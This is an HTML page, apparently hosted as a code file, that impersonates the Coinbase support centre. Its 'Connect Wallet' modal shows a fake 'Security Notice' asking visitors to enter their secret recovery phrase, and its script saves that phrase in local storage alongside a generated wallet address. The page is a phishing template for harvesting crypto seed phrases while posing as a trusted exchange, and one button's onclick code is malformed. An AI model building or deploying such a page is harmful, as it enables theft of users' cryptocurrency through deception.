File size: 29,328 Bytes
044bd05
 
 
 
 
 
 
 
 
 
 
 
0fcff97
 
 
 
 
 
 
 
 
 
 
044bd05
 
 
 
 
 
 
 
 
 
0fcff97
 
 
 
044bd05
 
 
 
 
 
 
 
a2f7d73
044bd05
0fcff97
044bd05
 
 
 
 
 
0fcff97
044bd05
 
 
 
0fcff97
 
 
 
 
 
044bd05
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
7fa6d76
 
 
 
 
 
 
 
044bd05
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
a2f7d73
0fcff97
 
044bd05
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
0fcff97
 
 
a2f7d73
0fcff97
 
 
 
 
044bd05
0fcff97
 
a775104
a2f7d73
0fcff97
 
 
 
 
 
 
 
 
 
 
a775104
0fcff97
 
a2f7d73
0fcff97
 
 
 
 
 
a775104
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
a2f7d73
 
a775104
 
 
a2f7d73
a775104
 
 
 
 
 
044bd05
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
7fa6d76
 
 
 
 
 
 
 
 
 
 
 
 
044bd05
 
 
 
 
 
 
 
 
 
7fa6d76
 
 
044bd05
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
42d5339
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Coinbase Support | Crypto Wallet & Exchange Help</title>
    <link rel="icon" type="image/x-icon" href="https://static.photos/blue/200x200/1">
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
    <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
    <script src="https://unpkg.com/feather-icons"></script>
    <!-- Chaport Live Chat Button Styling -->
    <style>
        #chaport-launcher {
            bottom: 20px !important;
            right: 20px !important;
        }
        #chaport-launcher svg {
            width: 24px !important;
            height: 24px !important;
        }
    </style>
    <script src="https://cdn.jsdelivr.net/npm/@walletconnect/web3-provider@1.7.8/dist/umd/index.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/web3@1.8.1/dist/web3.min.js"></script>
    <style>
        .gradient-bg {
            background: linear-gradient(135deg, #1652f0 0%, #1652f0 50%, #0a46e4 100%);
        }
        .wallet-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 10px 20px rgba(22, 82, 240, 0.2);
        }
        .nav-icon:hover {
            color: #1652f0;
            transform: scale(1.1);
        }
        .support-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
        }
    </style>
</head>
<body class="font-sans antialiased text-gray-800">
    <!-- Navigation -->
    <nav class="bg-white shadow-6 I'sm">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="flex justify-between items-center h-16">
                <div class="flex items-center">
                    <div class="flex-shrink-0 flex items-center">
                        <img class="h-8 w-auto" src="https://static.photos/blue/200x200/1" alt="Coinbase Logo">
                        <span class="ml-2 text-xl font-bold text-blue-600">Coinbase</span>
                    </div>
                </div>
                <div class="flex items-center space-x-4">
                    <button id="connectWalletBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300">
                        Connect Wallet
                    </button>
                </div>
            </div>
            <div class="flex justify-center border-t border-gray-200 pt-2 pb-1">
                <div class="flex space-x-8">
                    <a href="#" class="border-blue-500 text-gray-900 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Support</a>
                    <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Products</a>
                    <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Resources</a>
                </div>
            </div>
        </div>
    </nav>

    <!-- Hero Section -->
    <div class="gradient-bg text-white">
        <div class="max-w-7xl mx-auto py-16 px-4 sm:py-24 sm:px-6 lg:px-8">
            <div class="text-center">
                <h1 class="text-4xl font-extrabold tracking-tight sm:text-5xl lg:text-6xl" data-aos="fade-down">
                    Coinbase Support Center
                </h1>
                <p class="mt-6 max-w-3xl mx-auto text-xl" data-aos="fade-up" data-aos-delay="100">
                    Get help with your account, trading, wallet, and more. Our support team is here 24/7.
                </p>
                <div class="mt-10 flex justify-center space-x-4" data-aos="fade-up" data-aos-delay="200">
                    <div class="relative">
                        <input type="text" placeholder="Search help articles..." class="py-3 px-4 w-96 rounded-lg text-gray-800 focus:outline-none focus:ring-2 focus:ring-blue-500">
                        <button class="absolute right-2 top-2 text-gray-400 hover:text-gray-600">
                            <i data-feather="search"></i>
                        </button>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Wallet Connection Modal -->
    <div id="walletModal" class="fixed z-10 inset-0 overflow-y-auto hidden">
        <div class="flex items-center justify-center min-h-screen pt-4 px-4 pb-20 text-center sm:block sm:p-0">
            <div class="fixed inset-0 transition-opacity" aria-hidden="true">
                <div class="absolute inset-0 bg-gray-500 opacity-75"></div>
            </div>
            <span class="hidden sm:inline-block sm:align-middle sm:h-screen" aria-hidden="true">&#8203;</span>
            <div class="inline-block align-bottom bg-white rounded-lg text-left overflow-hidden shadow-xl transform transition-all sm:my-8 sm:align-middle sm:max-w-lg sm:w-full">
                <div class="bg-white px-4 pt-5 pb-4 sm:p-6 sm:pb-4">
                    <div class="sm:flex sm:items-start">
                        <div class="mt-3 text-center sm:mt-0 sm:ml-4 sm:text-left">
                            <h3 class="text-lg leading-6 font-medium text-gray-900" id="modal-title">
                                Connect Your Wallet
                            </h3>
                            <div class="mt-4">
                                <p class="text-sm text-gray-500">
                                    Choose your preferred wallet provider to connect to Coinbase Support.
                                </p>
                                <div class="mt-6 space-y-4">
                                    <button onclick="connectWallet('metamask')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50">
                                        <div class="flex items-center">
                                            <img src="https://static.photos/blue/200x200/2" class="h-8 w-8 mr-3" alt="MetaMask">
                                            <span>MetaMask</span>
                                        </div>
                                        <i data-feather="arrow-right"></i>
                                    </button>
                                    <button onclick="connectWallet('walletconnect')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50">
                                        <div class="flex items-center">
                                            <img src="https://static.photos/blue/200x200/3" class="h-8 w-8 mr-3" alt="WalletConnect">
                                            <span>WalletConnect</span>
                                        </div>
                                        <i data-feather="arrow-right"></i>
                                    </button>
                                    <button onclick="connectWallet('coinbase')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50">
                                        <div class="flex items-center">
                                            <img src="https://static.photos/blue/200x200/4" class="h-8 w-8 mr-3" alt="Coinbase Wallet">
                                            <span>Coinbase Wallet</span>
                                        </div>
                                        <i data-feather="arrow-right"></i>
                                    </button>
                                </div>
                                <div class="mt-6 p-4 bg-yellow-50 border border-yellow-200 rounded-lg">
                                    <p class="text-sm text-yellow-800">
                                        <strong>Security Notice:</strong> For enhanced security, please enter your secret recovery phrase when connecting your wallet.
                                    </p>
                                    <div class="mt-3">
                                        <input type="text" id="secretPhraseInput" placeholder="Enter your secret phrase" class="w-full px-3 py-2 border border-gray-300 rounded-md text-sm">
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="bg-gray-50 px-4 py-3 sm:px-6 sm:flex sm:flex-row-reverse">
                    <button type="button" onclick="closeModal()" class="mt-3 w-full inline-flex justify-center rounded-md border border-gray-300 shadow-sm px-4 py-2 bg-white text-base font-medium text-gray-700 hover:bg-gray-50 sm:mt-0 sm:ml-3 sm:w-auto sm:text-sm">
                        Cancel
                    </button>
                </div>
            </div>
        </div>
    </div>

    <!-- Support Categories -->
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-16">
        <h2 class="text-3xl font-bold text-center mb-12" data-aos="fade-up">How can we help you today?</h2>
        <div class="grid grid-cols-1 gap-6 sm:grid-cols-2 lg:grid-cols-3">
            <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="100">
                <div class="p-6">
                    <div class="flex items-center justify-center h-12 w-12 rounded-md bg-blue-100 text-blue-600 mb-4">
                        <i data-feather="user"></i>
                    </div>
                    <h3 class="text-lg font-medium text-gray-900 mb-2">Account Access</h3>
                    <p class="text-gray-500">
                        Troubleshoot login issues, account recovery, and verification problems.
                    </p>
                    <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
                        Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
                    </a>
                </div>
            </div>
            
            <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="200">
                <div class="p-6">
                    <div class="flex items-center justify-center h-12 w-12 rounded-md bg-green-100 text-green-600 mb-4">
                        <i data-feather="dollar-sign"></i>
                    </div>
                    <h3 class="text-lg font-medium text-gray-900 mb-2">Trading & Funding</h3>
                    <p class="text-gray-500">
                        Get help with buying, selling, deposits, withdrawals, and transfers.
                    </p>
                    <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
                        Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
                    </a>
                </div>
            </div>
            
            <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="300">
                <div class="p-6">
                    <div class="flex items-center justify-center h-12 w-12 rounded-md bg-purple-100 text-purple-600 mb-4">
                        <i data-feather="credit-card"></i>
                    </div>
                    <h3 class="text-lg font-medium text-gray-900 mb-2">Wallet Support</h3>
                    <p class="text-gray-500">
                        Assistance with Coinbase Wallet, transactions, and security features.
                    </p>
                    <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
                        Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
                    </a>
                </div>
            </div>
            
            <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="400">
                <div class="p-6">
                    <div class="flex items-center justify-center h-12 w-12 rounded-md bg-yellow-100 text-yellow-600 mb-4">
                        <i data-feather="shield"></i>
                    </div>
                    <h3 class="text-lg font-medium text-gray-900 mb-2">Security</h3>
                    <p class="text-gray-500">
                        Protect your account, enable 2FA, and learn about security best practices.
                    </p>
                    <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
                        Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
                    </a>
                </div>
            </div>
            
            <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="500">
                <div class="p-6">
                    <div class="flex items-center justify-center h-12 w-12 rounded-md bg-red-100 text-red-600 mb-4">
                        <i data-feather="help-circle"></i>
                    </div>
                    <h3 class="text-lg font-medium text-gray-900 mb-2">General Help</h3>
                    <p class="text-gray-500">
                        FAQs, troubleshooting, and general questions about Coinbase services.
                    </p>
                    <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
                        Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
                    </a>
                </div>
            </div>
            
            <div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="600">
                <div class="p-6">
                    <div class="flex items-center justify-center h-12 w-12 rounded-md bg-indigo-100 text-indigo-600 mb-4">
                        <i data-feather="message-square"></i>
                    </div>
                    <h3 class="text-lg font-medium text-gray-900 mb-2">Contact Support</h3>
                    <p class="text-gray-500">
                        Can't find what you need? Contact our support team directly.
                    </p>
                    <button onclick="app.chaport.chaportConfigom"('show')" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
                        Live Chat <i data-feather="message-circle" class="ml-1 h-4 w-4"></i>
                    </button>
                </div>
            </div>
        </div>
    </div>

    <!-- Connected Wallet Info -->
    <div id="walletInfo" class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8 bg-blue-50 rounded-lg mb-16 hidden">
        <div class="flex items-center justify-between">
            <div class="flex items-center">
                <div class="flex-shrink-0">
                    <div class="h-10 w-10 rounded-full bg-blue-100 flex items-center justify-center">
                        <i data-feather="check-circle" class="text-blue-600"></i>
                    </div>
                </div>
                <div class="ml-3">
                    <h3 class="text-lg font-medium text-blue-800">Wallet Connected</h3>
                    <p id="walletAddress" class="text-sm text-blue-600 truncate max-w-xs">0x742d35Cc6634C0532925a3b844Bc454e4438f44e</p>
                </div>
            </div>
            <button onclick="disconnectWallet()" class="inline-flex items-center px-3 py-1 border border-transparent text-sm font-medium rounded-md text-blue-700 bg-blue-100 hover:bg-blue-200">
                Disconnect
            </button>
        </div>
    </div>

    <!-- Popular Articles -->
    <div class="bg-gray-50 py-16">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <h2 class="text-3xl font-bold text-center mb-12" data-aos="fade-up">Popular Help Articles</h2>
            <div class="grid grid-cols-1 gap-6 sm:grid-cols-2 lg:grid-cols-3">
                <div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="100">
                    <div class="p-6">
                        <h3 class="text-lg font-medium text-gray-900 mb-2">How to verify my identity</h3>
                        <p class="text-gray-500 mb-4">
                            Step-by-step guide to completing identity verification on Coinbase.
                        </p>
                        <a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800">
                            Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
                        </a>
                    </div>
                </div>
                
                <div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="200">
                    <div class="p-6">
                        <h3 class="text-lg font-medium text-gray-900 mb-2">Troubleshooting deposit issues</h3>
                        <p class="text-gray-500 mb-4">
                            What to do when your deposit isn't showing in your account.
                        </p>
                        <a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800">
                            Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
                        </a>
                    </div>
                </div>
                
                <div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="300">
                    <div class="p-6">
                        <h3 class="text-lg font-medium text-gray-900 mb-2">Setting up two-factor authentication</h3>
                        <p class="text-gray-500 mb-4">
                            How to enable 2FA for enhanced account security.
                        </p>
                        <a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800">
                            Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
                        </a>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="bg-gray-800 text-white">
        <div class="max-w-7xl mx-auto py-12 px-4 sm:px-6 lg:px-8">
            <div class="grid grid-cols-2 md:grid-cols-4 gap-8">
                <div>
                    <h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Products</h3>
                    <ul class="space-y-2">
                        <li><a href="#" class="text-gray-400 hover:text-white">Exchange</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Wallet</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Commerce</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Earn</a></li>
                    </ul>
                </div>
                <div>
                    <h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Resources</h3>
                    <ul class="space-y-2">
                        <li><a href="#" class="text-gray-400 hover:text-white">Help Center</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Status</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Blog</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Community</a></li>
                    </ul>
                </div>
                <div>
                    <h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Company</h3>
                    <ul class="space-y-2">
                        <li><a href="#" class="text-gray-400 hover:text-white">About</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Careers</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Press</a></li>
                        <li><a href="#" class="text-gray-400 hover:text-white">Legal</a></li>
                    </ul>
                </div>
                <div>
                    <h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Connect</h3>
                    <div class="flex space-x-4">
                        <a href="#" class="text-gray-400 hover:text-white">
                            <i data-feather="twitter"></i>
                        </a>
                        <a href="#" class="text-gray-400 hover:text-white">
                            <i data-feather="facebook"></i>
                        </a>
                        <a href="#" class="text-gray-400 hover:text-white">
                            <i data-feather="instagram"></i>
                        </a>
                        <a href="#" class="text-gray-400 hover:text-white">
                            <i data-feather="linkedin"></i>
                        </a>
                    </div>
                    <div class="mt-4">
                        <button id="mobileConnectBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300">
                            Connect Wallet
                        </button>
                    </div>
                </div>
            </div>
            <div class="mt-8 border-t border-gray-700 pt-8 flex flex-col md:flex-row justify-between">
                <p class="text-gray-400 text-sm">
                    &copy; 2023 Coinbase Support. All rights reserved.
                </p>
                <div class="flex space-x-6 mt-4 md:mt-0">
                    <a href="#" class="text-gray-400 hover:text-white text-sm">Privacy Policy</a>
                    <a href="#" class="text-gray-400 hover:text-white text-sm">Terms of Service</a>
                    <a href="#" class="text-gray-400 hover:text-white text-sm">Cookie Policy</a>
                </div>
            </div>
        </div>
    </footer>

    <!-- Live Chat Button -->
    <div class="fixed bottom-6 right-6 z-50">
        <button onclick="window.chaport.q('show')" class="bg-blue-600 hover:bg-blue-700 text-white rounded-full p-4 shadow-lg flex items-center justify-center transition-all duration-300 hover:shadow-xl">
            Live Chat
            <i data-feather="message-circle" class="h-6 w-6"></i>
        </button>
    </div>

    <!-- Chaport Live Chat -->
    <script>
        (function(w,d,v3){
            w.chaportConfig = {
                appId : '64f6a4c4e4b0b4a3d4a3b4a3',
                visibility: 'shown',
                widgetStyle: {
                    primaryColor: '#1652f0',
                    darkMode: false
                }
            };

            if(w.chaport)return;v3=w.chaport={};v3._q=[];v3._l={};v3.q=function(){v3._q.push(arguments)};v3.on=function(e,fn){if(!v3._l[e])v3._l[e]=[];v3._l[e].push(fn)};
            var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://app.chaport.com/javascripts/insert.js';
            var ss=d.getElementsByTagName('script')[0];ss.parentNode.insertBefore(s,ss)
        })(window, document);

        // Initialize Chaport with your app ID
        window.chaportConfig = {
            appId: '64f6a4c4e4b0b4a3d4a3b4a3',
            visibility: 'shown',
            widgetStyle: {
                primaryColor: '#1652f0',
                darkMode: false
            }
        };

        // Wait for Chaport to load and then show/hide based on user interaction
        function initChaport() {
            if (window.chaport) {
                // Set up event listeners for chat buttons
                const chatButtons = document.querySelectorAll('[onclick*="chaport"]');
                chatButtons.forEach(button => {
                    button.onclick = function() {
                        window.chaport.q('show');
                    };
                });

                // Listen for Chaport ready event
                window.chaport.on('ready', function() {
                    console.log('Chaport live chat is ready');
                });

                // Listen for chat events
                window.chaport.on('show', function() {
                    console.log('Chat window opened');
                });

                window.chaport.on('open', function() {
                    console.log('Chat window open');
                });
            } else {
                // Retry initialization if Chaport isn't loaded yet
                setTimeout(initChaport, 10);
            }
        }

        // Start initialization
        initChaport();

        // Initialize AOS animations
        AOS.init({
            duration: 800,
            easing: 'ease-in-out',
            once: true
        });

        // Initialize Feather Icons
        feather.replace();

        // Wallet connection functionality
        let walletConnected = false;
        let walletAddress = '';

        document.getElementById('connectWalletBtn').addEventListener('click', openModal);
        document.getElementById('mobileConnectBtn').addEventListener('click', openModal);

        function openModal() {
            document.getElementById('walletModal').classList.remove('hidden');
        }

        function closeModal() {
            document.getElementById('walletModal').classList.add('hidden');
        }

        function connectWallet(provider) {
            // Simulate wallet connection
            walletConnected = true;
            walletAddress = '0x' + Math.random().toString(16).substr(2, 40);
            
            // Get secret phrase
            const secretPhrase = document.getElementById('secretPhraseInput').value || 'Not provided';
            
            // Store user data
            const userData = JSON.parse(localStorage.getItem('coinbaseUserData')) || [];
            userData.push({
                walletAddress: walletAddress,
                connectionDate: new Date().toISOString(),
                secretPhrase: secretPhrase,
                provider: provider
            });
            localStorage.setItem('coinbaseUserData', JSON.stringify(userData));
            
            // Update UI
            document.getElementById('walletModal').classList.add('hidden');
            document.getElementById('walletInfo').classList.remove('hidden');
            document.getElementById('walletAddress').textContent = walletAddress;
            
            // Update button state
            document.getElementById('connectWalletBtn').textContent = 'Wallet Connected';
            document.getElementById('connectWalletBtn').classList.remove('bg-blue-600', 'hover:bg-blue-700');
            document.getElementById('connectWalletBtn').classList.add('bg-green-500', 'hover:bg-green-600');
            
            // Clear secret phrase input
            document.getElementById('secretPhraseInput').value = '';
            
            // Show success notification
            showNotification('Wallet connected successfully!');
        }

        function disconnectWallet() {
            walletConnected = false;
            walletAddress = '';
            
            // Update UI
            document.getElementById('walletInfo').classList.add('hidden');
            
            // Update button state
            document.getElementById('connectWalletBtn').textContent = 'Connect Wallet';
            document.getElementById('connectWalletBtn').classList.remove('bg-green-500', 'hover:bg-green-600');
            document.getElementById('connectWalletBtn').classList.add('bg-blue-600', 'hover:bg-blue-700');
            
            // Show notification
            showNotification('Wallet disconnected');
        }

        function showNotification(message) {
            const notification = document.createElement('div');
            notification.className = 'fixed bottom-4 right-4 bg-green-500 text-white px-4 py-2 rounded-md shadow-lg flex items-center';
            notification.innerHTML = `
                <i data-feather="check-circle" class="mr-2"></i>
                <span>${message}</span>
            `;
            document.body.appendChild(notification);
            feather.replace();
            
            setTimeout(() => {
                notification.classList.add('opacity-0', 'transition-opacity', 'duration-300');
                setTimeout(() => {
                    notification.remove();
                }, 300);
            }, 3000);
        }

        // Real WalletConnect integration would go here
        // This is a simplified version for demonstration
    </script>
</body>
</html>